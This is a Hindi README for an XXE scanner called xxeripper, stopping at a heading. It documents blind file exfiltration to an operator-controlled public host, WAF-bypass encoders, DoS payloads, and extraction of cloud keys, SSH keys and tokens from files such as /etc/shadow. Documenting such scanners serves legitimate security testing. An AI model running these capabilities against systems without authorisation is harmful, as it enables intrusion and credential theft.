बेस इंस्टॉल `httpx[http2]` (ALPN के माध्यम से HTTP/2 नेगोशिएशन सक्षम के साथ) और `Flask` (`--serve` वेब कंसोल द्वारा उपयोग किया जाता है) को शामिल करता है।
SOCKS प्रॉक्सी समर्थन ही एकमात्र वैकल्पिक अतिरिक्त है। HTTP/2 एक आवश्यक
सुविधा है, वैकल्पिक नहीं — यह मुख्य निर्भरता सूची में
`httpx[http2]` के रूप में मौजूद है। `xxeripper[http2]` अतिरिक्त केवल
उपयोगकर्ता की आदत के लिए प्रदान किया गया है; इसे इंस्टॉल करना बेस पैकेज को इंस्टॉल करने के समान है।

### वितरण पैकेज```bash
sudo pacman -U xxeripper-1.0.0-1-any.pkg.tar.zst    # Arch
sudo dpkg -i xxeripper_1.0.0-1_all.deb              # Debian / Ubuntu
sudo dnf install xxeripper-1.0.0-1.fc44.noarch.rpm  # Fedora / RHEL

### आवश्यकताएँ

- **Python 3.9 से 3.14 तक।**
- **`httpx[http2]` ≥ 0.27, < 0.29** — HTTP क्लाइंट। HTTP/2 समर्थन
  `httpx` के `[http2]` extra के माध्यम से शामिल किया जाता है, जो अपने साथ
  `h2` निर्भरता लाता है। स्कैनर TLS handshake पर ALPN के माध्यम से HTTP/2
  negotiate करता है और जहाँ सर्वर इसका समर्थन नहीं करता वहाँ चुपचाप HTTP/1.1
  पर वापस आ जाता है।
- **`Flask` ≥ 3.0, < 4.0** — `--serve` वेब कंसोल द्वारा उपयोग किया जाता है। यह
  एक मुख्य निर्भरता है, वैकल्पिक नहीं; कंसोल एक प्रथम-श्रेणी का
  इंटरफ़ेस है, और `xxeripper --serve` को
  [Quick Start](#quick-start) और [Web Console](#web-console) में प्रलेखित किया गया है।
- **वैकल्पिक:** SOCKS प्रॉक्सी के लिए `PySocks` ≥ 1.7.1
  (`xxeripper[socks]`)।
- **वैकल्पिक:** स्वचालित OOB पुष्टि (`--oob-auto`) के लिए `PATH` में
  `interactsh-client`। मैनुअल OOB मोड (`--oob-domain`) की कोई
  बाहरी निर्भरता नहीं है — आप स्वयं एक अलग टर्मिनल में `interactsh-client`
  चलाते हैं।

wheel एक ही फ़ाइल, `xxeripper.py`, भेजता है। कोई package
directory नहीं, कोई compiled extension नहीं, और install के समय कोई build step
नहीं। CLI entry point को `xxeripper = "xxeripper:main"` के रूप में घोषित किया गया है, इसलिए
`pip install xxeripper` आपके `PATH` पर एक `xxeripper` executable रखता है।

### वैकल्पिक extras

| Extra | इन्हें शामिल करता है | कब install करें |
|---|---|---|
| `xxeripper[socks]` | `PySocks` ≥ 1.7.1 | आप SOCKS5 प्रॉक्सी के माध्यम से स्कैन करते हैं, जिसमें `socks5h://` के जरिए Tor भी शामिल है |
| `xxeripper[http2]` | *(कुछ नया नहीं)* | कभी भी सख्ती से आवश्यक नहीं — base install में पहले से ही `httpx[http2]` शामिल है। उपयोगकर्ता की आदत के लिए प्रदान किया गया |

कोई `[webui]` extra नहीं है — Flask एक मुख्य निर्भरता है, और
कंसोल किसी भी base install पर बिना किसी अतिरिक्त सेटअप के काम करता है।

---

## Quick Start```bash
# 1. Basic scan (in-band and error-based, no OOB)
xxeripper https://target.com/api/xml

# 2. Terminal A: start interactsh-client and note the session domain
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro

# 3. Terminal B: scan with OOB payloads under that domain
xxeripper https://target.com/api/xml \
    --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro

# 4. Match the [OOB] lines from the scanner against callbacks in Terminal A

# 5. Or skip the two-terminal dance: let the scanner spawn and drive
#    interactsh-client itself
xxeripper https://target.com/api/xml --oob-auto

# 6. Blind file exfiltration with the built-in DTD server
xxeripper https://target.com/api/xml \
    --oob-auto --oob-listen 0.0.0.0:8888 \
    --oob-public-url http://your-public-ip:8888

# 7. Launch the browser-based console instead of a CLI scan
xxeripper --serve
# [*] XXE-Ripper web console
# [*]   URL:  http://127.0.0.1:8080

# 8. Write a self-contained HTML report
xxeripper https://target.com/api/xml --report-html report.html

# 9. CI usage: write SARIF and fail the build on HIGH+ findings
xxeripper https://target.com/api/xml \
    -o results.sarif --format sarif --fail-on high

---

## कमांड-लाइन संदर्भ

### लक्ष्य और आउटपुट

| विकल्प | विवरण |
|---|---|
| `url` (स्थितीय) | स्कैन करने के लिए एकल URL |
| `-u, --urls FILE` | URL वाली फ़ाइल, प्रति पंक्ति एक |
| `-r, --request FILE` | Burp प्रारूप में कच्चा HTTP अनुरोध |
| `-o, --output FILE` | परिणाम आउटपुट फ़ाइल |
| `--format {json,sarif,both}` | आउटपुट प्रारूप। डिफ़ॉल्ट: `json` |
| `--report-html PATH` | स्कैन के बाद एक स्व-निहित HTML रिपोर्ट लिखें |
| `--fail-on {critical,high,medium,low,never}` | जब इस गंभीरता या उससे ऊपर की कोई खोज मौजूद हो तो कोड `2` के साथ बाहर निकलें। डिफ़ॉल्ट: `never` |
| `--debug` | विस्तृत नैदानिक आउटपुट |

### आउट-ऑफ-बैंड

| विकल्प | विवरण |
|---|---|
| `--oob-domain SESSION_DOMAIN` | **मैनुअल मोड।** Interactsh-client सत्र डोमेन। स्कैनर इस डोमेन के अंतर्गत पेलोड बनाता है और लक्ष्य के सारांश में प्रत्येक सबडोमेन प्रिंट करता है। यह पोल नहीं करता — अपने `interactsh-client` टर्मिनल को देखें। `--oob-auto` के साथ परस्पर अनन्य |
| `--oob-auto` | **ऑटो मोड।** `interactsh-client` को सबप्रोसेस के रूप में स्पॉन करें, इसके JSON आउटपुट से सत्र डोमेन निकालें, और इन-प्रोसेस कॉलबैक को सहसंबंधित करें। `PATH` में `interactsh-client` आवश्यक है। `--oob-domain` के साथ परस्पर अनन्य |
| `--oob-timeout SECONDS` | प्रति-पोल OOB प्रतीक्षा बजट। केवल `--oob-auto` के साथ अर्थपूर्ण; इसे `--oob-domain` के साथ मिलाना एक तर्क त्रुटि है, क्योंकि मैनुअल मोड कभी प्रतीक्षा नहीं करता। डिफ़ॉल्ट: `8.0` |

### ब्लाइंड एक्सफ़िल्ट्रेशन

| विकल्प | विवरण |
|---|---|
| `--oob-listen HOST:PORT` | एक अंतर्निहित HTTP सर्वर बाइंड करें जो DTD पेलोड परोसता है। `--oob-public-url` आवश्यक है। सभी इंटरफ़ेस बाइंड करने के लिए `0.0.0.0:PORT` का उपयोग करें |
| `--oob-public-url URL` | अंतर्निहित DTD सर्वर के लिए सार्वजनिक URL उपसर्ग (जैसे `http://198.51.100.7:8888`)। `--oob-listen` के साथ आवश्यक |
| `--oob-dtd-dir PATH` | `--oob-listen` का विकल्प: एक निर्देशिका जिसमें स्कैनर DTD फ़ाइलें लिखता है। इसे अपने स्वयं के वेब सर्वर से परोसें। `--oob-dtd-url-prefix` आवश्यक है |
| `--oob-dtd-url-prefix URL` | सार्वजनिक URL उपसर्ग जो `--oob-dtd-dir` को मैप करता है (जैसे `http://198.51.100.7:8000/dtds`) |

व्यवहार में दोनों मोड परस्पर अनन्य हैं: `--oob-listen` का उपयोग करें जब लक्ष्य स्कैनर के पते तक पहुंच सकता हो, और `--oob-dtd-dir` जब आप एक सार्वजनिक-मुखी वेब सर्वर नियंत्रित करते हों। मैनुअल OOB मोड (`--oob-domain`) एक्सफ़िल्ट्रेशन का समर्थन नहीं करता — स्कैनर मैनुअल मोड में interactsh का आउटपुट कभी नहीं पढ़ता, इसलिए एक्सफ़िल्ट्रेटेड सामग्री को ऑपरेटर के टर्मिनल से पढ़ा जाना चाहिए।

### वेब कंसोल

| विकल्प | विवरण |
|---|---|
| `--serve` | CLI स्कैन चलाने के बजाय ब्राउज़र-आधारित कंसोल शुरू करें |
| `--host ADDRESS` | कंसोल के लिए बाइंड पता। डिफ़ॉल्ट: `127.0.0.1`। स्टार्टअप बैनर नॉन-लूपबैक बाइंड के विरुद्ध चेतावनी देता है |
| `--port PORT` | कंसोल के लिए बाइंड पोर्ट। डिफ़ॉल्ट: `8080` |

### फ़िंगरप्रिंट और फ़ाइल लक्ष्यीकरण

| विकल्प | विवरण |
|---|---|
| `--no-fingerprint` | पार्सर फ़िंगरप्रिंट चरण छोड़ें। क्षमता गेटिंग अक्षम है; सभी चरण बिना शर्त चलते हैं |
| `--no-fingerprint-cache` | ऑन-डिस्क फ़िंगरप्रिंट कैश अक्षम करें; एक नई जांच को बाध्य करता है |
| `--full-file-scan` | प्राथमिकता उपसमुच्चय (~21 पथ) के बजाय पूरी Linux + Windows फ़ाइल-लक्ष्य सूची (~58 पथ) को पुनरावृत्त करें |

### कुकीज़ और पेलोड

| विकल्प | विवरण |
|---|---|
| `--cookie STRING` / `--cookie-file FILE` | इनलाइन कुकीज़ या Netscape jar / `key=value` फ़ाइल |
| `--no-cookie-merge` | `Set-Cookie` मर्जिंग छोड़ें |
| `--pre-auth-request FILE` | स्कैन से पहले एक बार Burp-प्रारूप अनुरोध रीप्ले करें। प्रतिक्रिया से `Set-Cookie` हेडर स्कैनर के jar में मर्ज किए जाते हैं। मल्टी-स्टेप प्रमाणीकरण के लिए दोहराएं |
| `--payload XML` / `--payload-file FILE` / `--payload-dir DIR` | कस्टम पेलोड (इनलाइन, फ़ाइल, निर्देशिका) |

### आक्रमण मोड

| विकल्प | विवरण |
|---|---|
| `--timing` | समय-आधारित ब्लाइंड डिटेक्शन सक्षम करें |
| `--unsafe` | DoS पेलोड (Billion Laughs) सक्षम करें |
| `--svg` | SVG अपलोड और multipart/DOCX/Office-XSLT चरणों को बाध्य करें |
| `--saml` | उन एंडपॉइंट्स पर SAML प्री-सिग्नेचर चरण को बाध्य करें जिनका URL SAML-आकार का नहीं दिखता |

### WAF बायपास

| विकल्प | विवरण |
|---|---|
| `--bypass-waf [ENCODERS]` | मुख्य चरणों के *बाद* चयनित एन्कोडर के माध्यम से पूरे पेलोड कैटलॉग को पुनः भेजें। प्रत्येक एन्कोडर के लिए `all` (या कोई मान नहीं) पास करें, या अल्पविराम-पृथक उपसमुच्चय। मान्य नाम: `utf16be`, `utf16le`, `utf16decl`, `utf16nobom`, `utf32be`, `utf32le`, `ebcdic`, `ucs4_2143`, `utf8bom`, `public`, `public_charref`, `b64_uri`, `whitespace_pad`, `doctype_closure`, `pe_stager` |
| `--bypass-waf-include-custom` | स्वीप को उपयोगकर्ता-आपूर्त पेलोड तक विस्तारित करें। केवल `--bypass-waf` के साथ अर्थपूर्ण। `{CALLBACK}` या `{DOMAIN}` का संदर्भ देने वाले कस्टम छोड़ दिए जाते हैं |

### नेटवर्क और स्थिरता

| विकल्प | विवरण |
|---|---|
| `--proxy URL` | `http://`, `https://`, `socks5://`, या `socks5h://` |
| `--threads N` | समवर्ती लक्ष्य। डिफ़ॉल्ट: 20 |
| `--rate R` | प्रति लक्ष्य प्रति सेकंड अधिकतम अनुरोध। डिफ़ॉल्ट: असीमित |
| `--timeout-connect SECONDS` / `--timeout-read SECONDS` | डिफ़ॉल्ट: 5.0 / 15.0 |
| `--budget SECONDS` | वॉल-क्लॉक स्कैन सीमा। डिफ़ॉल्ट: 3600 |
| `--verify-tls` | प्रमाणपत्र सत्यापन पुनः सक्षम करें |

### कस्टम-पेलोड प्लेसहोल्डर

`{FILE}`, `{CALLBACK}`, `{DOMAIN}`, `{URL}`, `{HOST}` — डिस्पैच समय पर वर्तमान फ़ाइल लक्ष्य, अद्वितीय कॉलबैक सबडोमेन, सत्र डोमेन, लक्ष्य URL, और लक्ष्य होस्टनाम के साथ प्रतिस्थापित।

---

## वेब कंसोल

कंसोल स्कैन चलाने और निरीक्षण करने के लिए एक ब्राउज़र-आधारित वर्कबेंच है, जो `--serve` के माध्यम से उसी बाइनरी से परोसा जाता है।```bash
xxeripper --serve
# [*] XXE-Ripper web console
# [*]   URL:  http://127.0.0.1:8080
# [*]   127.0.0.1 by default. Do NOT expose to untrusted networks.
# [*]   OOB auto mode available via the WebUI
#         (interactsh-client will be spawned on first use).

### घटक

| घटक | भूमिका |
|---|---|
| `build_session` | HTTP/2 नेगोशिएशन, कनेक्शन पूलिंग, वैकल्पिक प्रॉक्सी, और प्रति-अनुरोध हेडर इंजेक्शन के साथ एक `httpx.Client` का निर्माण करता है |
| `CookieManager` | इनलाइन स्ट्रिंग्स, Netscape jars, `key=value` फ़ाइलों, और Burp हेडर्स से कुकीज़ को मर्ज करता है। वैकल्पिक रूप से प्रत्येक प्रतिक्रिया से `Set-Cookie` को अवशोषित करता है |
| `CustomPayloadLoader` | इनलाइन स्ट्रिंग्स, फ़ाइलों (`---` विभाजक या `<‌?xml` सीमाओं), और निर्देशिकाओं से उपयोगकर्ता पेलोड को लोड, विभाजित, और सामान्यीकृत करता है |
| `OOBClient` | सहसंबद्ध सबडोमेन उत्पन्न करता है, लंबित टोकन को ट्रैक करता है, अवलोकनों को प्रेषित करता है, और लाइव `InteractshManager` के विरुद्ध कॉलबैक को सहसंबंधित करता है। मैनुअल और ऑटो दोनों मोड में समान रूप से कार्य करता है |
| `InteractshManager` | `interactsh-client -json -v` को स्पॉन और पढ़ता है, सत्र डोमेन निकालता है, और एक थ्रेड-सुरक्षित कॉलबैक सूची प्रदान करता है |
| `DTDServer` | ब्लाइंड-एक्सफ़िल्ट्रेशन DTD पेलोड के लिए अंतर्निहित HTTP सर्वर। `--oob-listen` द्वारा बाउंड। मांग पर `<token>.dtd` प्रदान करता है |
| `FileDTDWriter` | DTD फ़ाइलों को उस निर्देशिका में लिखता है जिसे ऑपरेटर बाहरी रूप से सर्व करता है। `--oob-dtd-url-prefix` के साथ युग्मित |
| `WebUIDTDServer` | WebUI-होस्टेड DTD रूट का समर्थन करता है। प्रक्रिया-व्यापी dict में DTDs को पंजीकृत करता है और `/dtd/<token>.dtd` के अंतर्गत URL लौटाता है |
| `OOBExfilExtractor` | interactsh कॉलबैक ऑब्जेक्ट्स को पार्स करता है और HTTP अनुरोध पथ/क्वेरीज़ और DNS सबडोमेन लेबल्स से एक्सफ़िल्ट्रेटेड डेटा निकालता है |
| `ParserFingerprint` | युग्मित टेस्ट/कंट्रोल प्रोब भेजता है, त्रुटि टेक्स्ट को 11 सिग्नेचर परिवारों के विरुद्ध मिलाता है, और एक `capabilities` dict भरता है |
| `StatisticalBaseline` | 7 बिनाइन नमूने कैप्चर करता है; माध्यिका लंबाई, बीता समय, स्थिति, बॉडी हैश, माध्यिका शैनन एन्ट्रॉपी, विंडोड एन्ट्रॉपी, IQR, p95 की गणना करता है |
| `AccuracyEngine` | बेसलाइन के विरुद्ध एक उम्मीदवार प्रतिक्रिया को स्कोर करता है, वीटो और भार लागू करता है, और गंभीरता को वर्गीकृत करता है |
| `XXEPayloadGenerator` | प्रत्येक तकनीक परिवार के लिए पेलोड स्ट्रिंग्स और बाइट्स लौटाने वाले शुद्ध फ़ंक्शन |
| `XXEDetector` | ऑर्केस्ट्रेटर: हेडर बनाता है, चरण चलाता है, सटीकता इंजन को कॉल करता है, निष्कर्ष रिकॉर्ड करता है, और लूट और श्रृंखला उपप्रणालियों को संचालित करता है |
| `ChainTracker` | निष्कर्ष IDs और साक्ष्य से प्राप्त श्रृंखला चरणों को रिकॉर्ड करता है; टेम्पलेट पूर्ण होने पर रोलअप निष्कर्ष निकालता है |
| `LootStore` | निकाली गई फ़ाइलों और रहस्यों का थ्रेड-सुरक्षित, डीडुप्लिकेटेड भंडार। डिफ़ॉल्ट रूप से डिस्क पर कुछ भी स्थायी नहीं करता |
| `CredentialExtractor` | AWS IAM JSON और INI, Alibaba RAM, SSH निजी कुंजियाँ, GCP सेवा खाते, OAuth एक्सेस टोकन, Kubernetes सेवा-खाता टोकन, और सामान्य बियरर का रेगेक्स-आधारित निष्कर्षण, प्रत्येक पेस्ट-तैयार शेल स्निपेट के साथ |
| `FileContentExtractor` | प्रतिक्रिया निकायों (`/etc/passwd`, `/etc/shadow`, SSH कुंजियाँ, `.env`, `web.config`, `win.ini`, `system.ini`, `boot.ini`, `/proc` फ़ाइलें) से कच्ची फ़ाइल सामग्री का प्रकार-विशिष्ट निष्कर्षण, एक सामान्य संरचनात्मक फ़ॉलबैक के साथ |
| `ScanContext` | वॉल-क्लॉक समय सीमा और सहकारी रद्दीकरण; प्रत्येक चरण प्रत्येक भेजने से पहले इसे जाँचता है |
| `RateLimiter` | प्रति लक्ष्य अनुरोधों के बीच न्यूनतम अंतराल लागू करता है; `--threads` से स्वतंत्र |

### स्कैनिंग वर्कफ़्लो

1. **प्री-फ़्लाइट।** कुकी जार बनाया जाता है। प्री-ऑथ अनुरोध (यदि कोई हों) रीप्ले किए जाते हैं और उनके `Set-Cookie` हेडर मर्ज किए जाते हैं। कस्टम पेलोड लोड किए जाते हैं। `ScanContext` समय सीमा निर्धारित की जाती है।
2. **बेसलाइन कैप्चर।** सात बिनाइन `POST` अनुरोध भेजे जाते हैं। माध्यिका लंबाई, बीता समय, स्थिति कोड, बॉडी हैश, एन्ट्रॉपी, IQR, और p95 की गणना की जाती है।
3. **फ़िंगरप्रिंट।** लक्ष्य के विरुद्ध नौ क्षमता प्रोब चलाए जाते हैं। प्रोब से त्रुटि टेक्स्ट को पार्सर सिग्नेचर के विरुद्ध मिलाया जाता है। परिणाम डिस्क पर कैश किया जाता है (जब तक `--no-fingerprint-cache` न हो)।
4. **कोर चरण।** इन-बैंड फ़ाइल रीड, JSON-से-XML स्विचिंग, कंटेंट-टाइप मैट्रिक्स, मेथड वेरिएशन, क्वेरी-पैरामीटर इंजेक्शन, SSRF, क्लाउड मेटाडेटा, RCE रैपर, एरर-बेस्ड।
5. **OOB-निर्भर चरण।** DNS-ओनली, एक्सटर्नल DTD, पैरामीटर-एंटिटी OOB, CDATA बायपास, XInclude वेरिएंट, XSLT/XSD फ़ेचर, `xml-stylesheet` PI, मल्टीपार्ट, DOCX, फ़ॉर्म-एन्कोडेड।
6. **बायपास और वैकल्पिक सिंक।** एन्कोडिंग बायपास, XInclude, SVG अपलोड, SAML/SOAP एनवेलप, SAML प्री-सिग्नेचर।
7. **ऑप्ट-इन चरण।** टाइमिंग-आधारित ब्लाइंड (`--timing`), DoS (`--unsafe`)।
8. **ऑफ़िस-डॉक्यूमेंट और YAML चरण।** DOCX/XLSX भागों में `xml-stylesheet` PI, और PyYAML / SnakeYAML डीसेरिएलाइज़ेशन प्रोब।
9. **कस्टम पेलोड।** प्रत्येक उपयोगकर्ता पेलोड को प्रत्येक फ़ाइल लक्ष्य के विरुद्ध परीक्षण किया जाता है।
10. **WAF बायपास (वैकल्पिक)।** यदि `--bypass-waf` सेट है, तो पूरा पेलोड कैटलॉग प्रत्येक चयनित एन्कोडर के माध्यम से पुनः भेजा जाता है। कोर चरणों के *बाद* चलता है ताकि एन्कोडेड स्वीप से पहले एक सीधा हिट मिल सके।
11. **चेन रोलअप।** `ChainTracker.emit_rollup_findings()` पूर्ण टेम्पलेट्स को ट्रैवर्स करता है और प्रति पूर्णता एक रोलअप निष्कर्ष निकालता है।
12. **रिपोर्टिंग।** परिणाम JSON, SARIF, और/या स्व-निहित HTML में सीरियलाइज़ किए जाते हैं।

प्रत्येक चरण `_run_phase` के अंदर चलता है, जो किसी भी अपवाद को पकड़ता है, `--debug` के अंतर्गत ट्रेसबैक लॉग करता है, और अगले चरण पर जारी रहता है। क्रैश से पहले निकाला गया निष्कर्ष खोया नहीं जा सकता।

---

## फ़िंगरप्रिंटिंग कार्यप्रणाली

फ़िंगरप्रिंट चरण दो प्रश्नों का उत्तर देता है: **कौन सा XML स्टैक चल रहा है**, और **यह कौन सी एंटिटी-रिज़ॉल्यूशन क्षमताएँ उजागर करता है**। दोनों चरण चयन को संचालित करते हैं — एक लक्ष्य जो DOCTYPE को पूरी तरह अस्वीकार करता है, उसके विरुद्ध लोकल-DTD स्वीप चलाने की आवश्यकता नहीं है।

### क्षमता प्रोब

नौ युग्मित प्रोब, प्रत्येक में एक टेस्ट पेलोड और एक कंट्रोल पेलोड:

| क्षमता | टेस्ट | सफलता की स्थिति (टेस्ट पास, कंट्रोल नहीं) |
|---|---|---|
| `dtd_allowed` | एलिमेंट डिक्लेरेशन के साथ बिनाइन DOCTYPE | `200`, मार्कर स्ट्रिंग मौजूद |
| `dtd_entity_syntax_accepted` | एंटिटी डिक्लेरेशन के साथ DOCTYPE (उपयोग नहीं किया गया) | `200`, मार्कर मौजूद |
| `dtd_parsed_but_not_resolved` | एंटिटी घोषित और संदर्भित के साथ DOCTYPE | `200`, कच्चा `&x;` दिखाई देता है (पार्सर ने इसे अनएक्सपैंडेड रखा) |
| `internal_entity` | आंतरिक एंटिटी एक्सपैंडेड | `200`, मार्कर मौजूद, `&x;` अनुपस्थित |
| `external_file` | `SYSTEM "file:///etc/hostname"` | `200`, आउटपुट होस्टनाम जैसा दिखता है, कोई मार्कअप नहीं, कोई कच्ची एंटिटी नहीं |
| `parameter_entity` | आंतरिक पैरामीटर-एंटिटी स्टेजर | `200`, `PE_MARKER` मौजूद, `&inner;` अनुपस्थित |
| `external_dtd` | `SYSTEM "http://127.0.0.1:1/nonexistent.dtd"` | `5xx`, या `Connection refused` / `Failed to load` / `IO error` मौजूद |

कंट्रोल एक बिनाइन बॉडी के साथ वही अनुरोध है। एक क्षमता को केवल तभी `True` चिह्नित किया जाता है जब टेस्ट का सफलता विधेय पास हो **और** कंट्रोल का न हो। यही चीज़ फ़िंगरप्रिंट को पैटर्न-मैच्ड के बजाय डिफरेंशियल बनाती है — एक लक्ष्य जो हमेशा `200 OK` लौटाता है, झूठा "DTD allowed" रिपोर्ट नहीं कर सकता।

### सिग्नेचर मिलान

प्रोब से प्रतिक्रिया निकाय (और कोई भी `5xx` प्रतिक्रिया निकाय) एक त्रुटि टेक्स्ट बफ़र में संचित होते हैं। उस बफ़र को ग्यारह सिग्नेचर परिवारों के विरुद्ध मिलाया जाता है:

| परिवार | प्रतिनिधि स्ट्रिंग्स |
|---|---|
| `libxml2` | `lxml.etree.XMLSyntaxError`, `xmlParseEntityRef`, `Failed to load external entity`, `Premature end of data in tag` |
| `xerces` | `org.apache.xerces`, `com.sun.org.apache.xerces`, `SAXParseException`, `was referenced, but not declared`, `cvc-elt.` |
| `dotnet` | `System.Xml.XmlException`, `System.Xml.XmlReader`, `An error occurred while parsing EntityName`, `DTD is prohibited` |
| `java_sax` | `org.xml.sax.SAXParseException`, `DocumentBuilder`, `JAXP00010001`, `AccessExternalDTD`, `disallow-doctype-decl` |
| `java_stax` | `javax.xml.stream.XMLStreamException`, `IS_SUPPORTING_EXTERNAL_ENTITIES`, `woodstox`, `com.ctc.wstx` |
| `python_etree` | `xml.etree.ElementTree.ParseError`, `xml.parsers.expat.ExpatError`, `undefined entity`, `not well-formed (invalid token)` |
| `php_libxml` | `Warning: DOMDocument::load`, `SimpleXMLElement::__construct():`, `DOMException:` |
| `ruby` | `REXML::ParseException`, `Nokogiri::XML::SyntaxError`, `The entity expansion has been blocked` |
| `node` | `ExpatError`, `xml2js`, `libxmljs`, `fast-xml-parser`, `Unexpected close tag` |
| `perl` | `XML::LibXML`, `XML::Parser`, `XML::Twig`, `Couldn't parse` |
| `go` | `encoding/xml`, `XML syntax error on line`, `xml: cannot unmarshal` |

सबसे अधिक हिट वाला परिवार जीतता है। `libxml2` परिवार जानबूझकर सबसे बड़ा है — lxml की अपवाद कक्षाएँ, अंतर्निहित C फ़ंक्शन नाम, और libxml2 की मानव-पठनीय डायग्नोस्टिक्स सभी गिने जाते हैं, इसलिए lxml का उपयोग करने वाले लक्ष्य को Python की stdlib `etree` (जो expat है और इसके बजाय `python_etree` परिवार से मेल खाता है) का उपयोग करने वाले से आत्मविश्वास के साथ अलग किया जाता है।

### डिस्क पर कैश

फ़िंगरप्रिंट परिणाम `~/.cache/xxeripper/fingerprints.json` पर कैश किए जाते हैं, लक्ष्य URL द्वारा कुंजीबद्ध। एक कैश्ड प्रविष्टि विजेता पार्सर नाम, पूर्ण capabilities dict, और एक टाइमस्टैम्प संग्रहीत करती है। एक ही URL के दोहराए गए स्कैन प्रोब चरण को पूरी तरह छोड़ देते हैं।

कैश रनों के बीच स्थिर रहता है जब तक लक्ष्य का XML स्टैक नहीं बदलता। CI में, प्रत्येक रन में प्रोब अनुरोधों को बचाने के लिए `HOME` को एक स्थायी कैश निर्देशिका पर इंगित करें। अमान्य करने के लिए फ़ाइल हटाएँ या `--no-fingerprint-cache` पास करें।

### क्षमता गेटिंग

दो चरण फ़िंगरप्रिंट परिणाम का उपभोग करते हैं:

- **इन-बैंड फ़ाइल रीड** — छोड़ दिया जाता है यदि फ़िंगरप्रिंट सफल हुआ और `internal_entity`, `external_file`, `external_dtd`, `parameter_entity`, `dtd_allowed` सभी में कोई एंटिटी-रिज़ॉल्यूशन क्षमता रिपोर्ट नहीं की।
- **एरर-बेस्ड लोकल-DTD स्वीप** — समान गेट। मैलफ़ॉर्म्ड-एंटिटी उप-तकनीक हर हाल में चलती है, क्योंकि यह उन स्टैक्स (Xerces, .NET) पर सफल होती है जिन्हें लोकल DTD की बिल्कुल आवश्यकता नहीं होती।

गेट केवल तभी सक्रिय होता है जब फ़िंगरप्रिंट *सफल* हुआ हो (यानी कम से कम एक क्षमता `True` है और एक विजेता पार्सर परिवार है)। एक फ़िंगरप्रिंट जिसने सभी `False` लौटाए — जो तब होता है जब लक्ष्य XML को बिल्कुल पार्स नहीं करता — को "अज्ञात" माना जाता है और चरण बिना शर्त चलते हैं। यह उस विफलता मोड से बचाता है जहाँ एक गलत कॉन्फ़िगर किया गया फ़िंगरप्रिंट वास्तविक निष्कर्षों को दबा देता है।

चरण और गेट को पूरी तरह अक्षम करने के लिए `--no-fingerprint` पास करें।

---

## डिटेक्शन कार्यप्रणाली

डिटेक्शन पाइपलाइन जानबूझकर स्तरित है। प्रत्येक परत एक वीटो या एक भार है, और प्रत्येक का एक विशिष्ट विफलता मोड है जिसे रोकने के लिए इसे डिज़ाइन किया गया है।

### परत 1 — सांख्यिकीय बेसलाइन

किसी भी हमला पेलोड से पहले सात बिनाइन `POST` अनुरोध भेजे जाते हैं। उन नमूनों से:

- **माध्यिका बॉडी लंबाई** — लंबाई-डेल्टा स्कोरिंग के लिए उपयोग की जाती है।
- **माध्यिका बीता समय** और **IQR** — टाइमिंग-एनोमली स्कोरिंग के लिए उपयोग किए जाते हैं।
- **मोड स्थिति कोड** — स्टेटस-शिफ्ट स्कोरिंग के लिए उपयोग किया जाता है।
- **सबसे सामान्य बॉडी हैश** — नो-चेंज वीटो के लिए उपयोग किया जाता है।
- **पूरे बॉडी पर माध्यिका शैनन एन्ट्रॉपी** — निचली सीमा sanity जाँच के रूप में उपयोग की जाती है।
- **256-बाइट विंडो पर माध्यिका विंडोड एन्ट्रॉपी** — एन्ट्रॉपी-एनोमली स्कोर के लिए उपयोग की जाती है।
- **सभी नमूना निकायों का संघ** — बेसलाइन-एंकर्ड पार्सर त्रुटि जाँच के लिए उपयोग किया जाता है।

बेसलाइन आँकड़े एंकर हैं। प्रत्येक बाद का स्कोरिंग निर्णय एक उम्मीदवार प्रतिक्रिया की तुलना इस बेसलाइन से करता है, किसी निश्चित थ्रेशोल्ड से नहीं।

### परत 2 — वीटो

वीटो स्कोरिंग से पहले स्पष्ट शोर को अस्वीकार करते हैं। दो कठोर हैं, एक नरम।

**रिफ्लेक्शन वीटो (कठोर, −100)।** यदि प्रतिक्रिया निकाय में पेलोड का 40-वर्ण का सबस्ट्रिंग है (URL-डिकोडिंग और व्हाइटस्पेस सामान्यीकरण के बाद), तो पेलोड एंटिटी रिज़ॉल्यूशन के बिना वर्बेटिम प्रतिध्वनित हुआ। यह भोले स्कैनर में झूठे सकारात्मकता का एकल सबसे सामान्य स्रोत है — प्रत्येक "XML पार्सर का परीक्षण करें" एंडपॉइंट जो अपने इनपुट को प्रतिध्वनित करता है, अन्यथा कमजोर दिखेगा।

**सॉफ्ट रिफ्लेक्शन पेनल्टी (−30)।** यदि रिफ्लेक्शन का पता चलता है लेकिन प्रतिक्रिया *भी* एक मजबूत संकेत रखती है (एक फ़ाइल फ़िंगरप्रिंट, एक सहसंबद्ध OOB कॉलबैक, चेन अखंडता, या एक उच्च-विश्वास पार्सर त्रुटि), तो कठोर वीटो को −30 पेनल्टी में डाउनग्रेड किया जाता है। यह उस मामले को संभालता है जहाँ एक वास्तविक फ़ाइल रीड एक ऐसे पृष्ठ के अंदर एम्बेडेड है जो संयोग से अनुरोध का हिस्सा भी प्रतिध्वनित करता है।

**नो-चेंज वीटो (कठोर, −50)।** यदि प्रतिक्रिया निकाय बेसलाइन के सबसे सामान्य बॉडी हैश के साथ बाइट-समान है, तो पेलोड ने कुछ नहीं बदला। `strong_signal` इसे वीटो के बिना एक सामान्य स्कोर में डाउनग्रेड करता है।

**सामान्यीकृत बेसलाइन मैच (कठोर, −75)।** भले ही हैश भिन्न हो, प्रतिक्रिया व्हाइटस्पेस, हेक्स ब्लॉब्स, लंबी संख्याओं, CSRF टोकन, और सत्र IDs को हटाने के बाद संरचनात्मक रूप से समान हो सकती है। यदि ऐसा है, तो यह बेसलाइन शोर है। समान `strong_signal` गेट।

**एन्ट्रॉपी एनोमली (केवल-ऊपर की ओर)।** केवल तब सक्रिय होती है जब `median_length >= 256`। पूरी-प्रतिक्रिया एन्ट्रॉपी आसपास के पृष्ठ फर्नीचर द्वारा प्रभुत्व रखती है और छोटे एम्बेडेड उच्च-एन्ट्रॉपी क्षेत्रों को चूक जाती है — एक बड़े त्रुटि पृष्ठ में एक फ़ाइल-रीड परिणाम। विंडोड स्कैन (256-बाइट विंडो, 128-बाइट स्टेप, पहला 16 KiB) उन्हें पकड़ता है। बेसलाइन से 0.5 बिट/बाइट ऊपर +5 से लेकर बेसलाइन से 4.0 बिट/बाइट ऊपर +20 तक स्केल होता है।

### परत 3 — सकारात्मक संकेत

